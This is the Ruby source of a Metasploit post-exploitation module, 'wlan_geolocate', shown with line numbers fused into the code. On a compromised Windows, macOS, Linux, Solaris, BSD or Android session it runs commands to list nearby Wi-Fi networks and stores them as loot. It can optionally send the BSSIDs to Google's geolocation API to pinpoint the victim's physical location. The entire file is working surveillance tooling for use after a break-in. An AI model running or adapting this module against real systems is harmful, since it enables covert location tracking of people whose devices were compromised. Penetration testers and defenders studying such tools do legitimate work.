Path: blob/master/modules/post/multi/gather/wlan_geolocate.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Multiplatform WLAN Enumeration and Geolocation',12'Description' => %q{13Enumerate wireless networks visible to the target device.14Optionally geolocate the target by gathering local wireless networks and15performing a lookup against Google APIs.16},17'License' => MSF_LICENSE,18'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],19'Platform' => %w[android osx win linux bsd solaris],20'SessionTypes' => [ 'meterpreter', 'shell' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24android_*25]26}27},28'Notes' => {29'Stability' => [CRASH_SAFE],30'SideEffects' => [],31'Reliability' => []32}33)34)3536register_options(37[38OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),39OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),40]41)42end4344def get_strength(quality)45# Convert the signal quality to signal strength (dbm) to be sent to46# Google. Docs indicate this should subtract 100 instead of the 95 I47# am using here, but in practice 95 seems to be closer.48signal_str = quality.to_i / 249signal_str = (signal_str - 95).round50return signal_str51end5253def parse_wireless_win(listing)54wlan_list = []55raw_networks = listing.split("\r\n\r\n")5657raw_networks.each do |network|58details = network.match(/^SSID \d+ : ([^\r\n]*).*?BSSID 1\s+: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal\s+: (\d{1,3})%/m)59if !details.nil?60strength = get_strength(details[3])61wlan_list << [ details[2], details[1], strength ]62end63end6465return wlan_list66end6768def parse_wireless_linux(listing)69wlan_list = []70raw_networks = listing.split('Cell ')7172raw_networks.each do |network|73details = network.match(/^\d{1,4} - Address: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)74if !details.nil?75wlan_list << [ details[1], details[3], details[2] ]76end77end7879return wlan_list80end8182def parse_wireless_osx(listing)83wlan_list = []84raw_networks = listing.split("\n")8586raw_networks.each do |network|87network = network.strip88details = network.match(/^(.*(?!\h\h:))\s*(\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2})\s*([\d-]{1,3})/)89if !details.nil?90wlan_list << [ details[2], details[1], details[3] ]91end92end9394return wlan_list95end9697def perform_geolocation(wlan_list)98if wlan_list.blank?99print_error('Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.')100return101end102103if datastore['APIKEY'].empty?104print_error('Google API key is required.')105return106end107108g = Rex::Google::Geolocation.new109g.set_api_key(datastore['APIKEY'])110wlan_list.each do |wlan|111g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength112end113114begin115g.fetch!116rescue RuntimeError => e117print_error("Error: #{e}")118else119print_status(g.to_s)120print_status("Google Maps URL: #{g.google_maps_url}")121end122end123124# Run Method for when run command is issued125def run126case session.platform127when 'windows'128listing = cmd_exec('netsh wlan show networks mode=bssid')129if listing.nil?130print_error('Unable to generate wireless listing.')131return nil132else133store_loot('host.windows.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')134# The wireless output does not lend itself to displaying on screen for this platform.135print_good('Wireless list saved to loot.')136if datastore['GEOLOCATE']137wlan_list = parse_wireless_win(listing)138perform_geolocation(wlan_list)139return140end141end142143when 'osx'144listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')145if listing.nil?146print_error('Unable to generate wireless listing.')147return nil148else149store_loot('host.osx.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')150print_good("Target's wireless networks:\n\n#{listing}\n")151if datastore['GEOLOCATE']152wlan_list = parse_wireless_osx(listing)153perform_geolocation(wlan_list)154return155end156end157158when 'linux'159listing = cmd_exec('iwlist scanning')160if listing.nil?161print_error('Unable to generate wireless listing.')162return nil163else164store_loot('host.linux.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')165# The wireless output does not lend itself to displaying on screen for this platform.166print_good('Wireless list saved to loot.')167if datastore['GEOLOCATE']168wlan_list = parse_wireless_linux(listing)169perform_geolocation(wlan_list)170return171end172end173174when 'solaris'175listing = cmd_exec('dladm scan-wifi')176if listing.blank?177print_error('Unable to generate wireless listing.')178return nil179else180store_loot('host.solaris.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')181print_good("Target's wireless networks:\n\n#{listing}\n")182print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']183return184end185186when 'bsd'187interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")188# Printing interface as this platform requires the interface to be specified189# it might not be detected correctly.190print_status("Found wireless interface: #{interface}")191listing = cmd_exec("ifconfig #{interface} scan")192if listing.blank?193print_error('Unable to generate wireless listing.')194return nil195else196store_loot('host.bsd.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')197print_good("Target's wireless networks:\n\n#{listing}\n")198print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']199return200end201when 'android'202log = client.android.wlan_geolocate203listing = ''204wlan_list = []205log.each do |x|206mac = x['bssid']207ssid = x['ssid']208ss = x['level'].to_s209listing += "BSSID: #{mac}\n"210listing += "SSID: #{ssid}\n"211listing += "Strength: #{ss}\n\n"212wlan_list << [mac, ssid, ss]213end214if listing.blank?215print_error('Unable to generate wireless listing.')216return nil217end218store_loot('host.android.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')219print_good("Target's wireless networks:\n\n#{listing}\n")220if datastore['GEOLOCATE']221perform_geolocation(wlan_list)222return223end224else225print_error("The target's platform, #{session.platform}, is not supported at this time.")226return nil227end228rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError => e229vprint_error(e.message)230rescue StandardError => e231print_status("The following error was encountered: #{e.class} #{e}")232end233234end235236237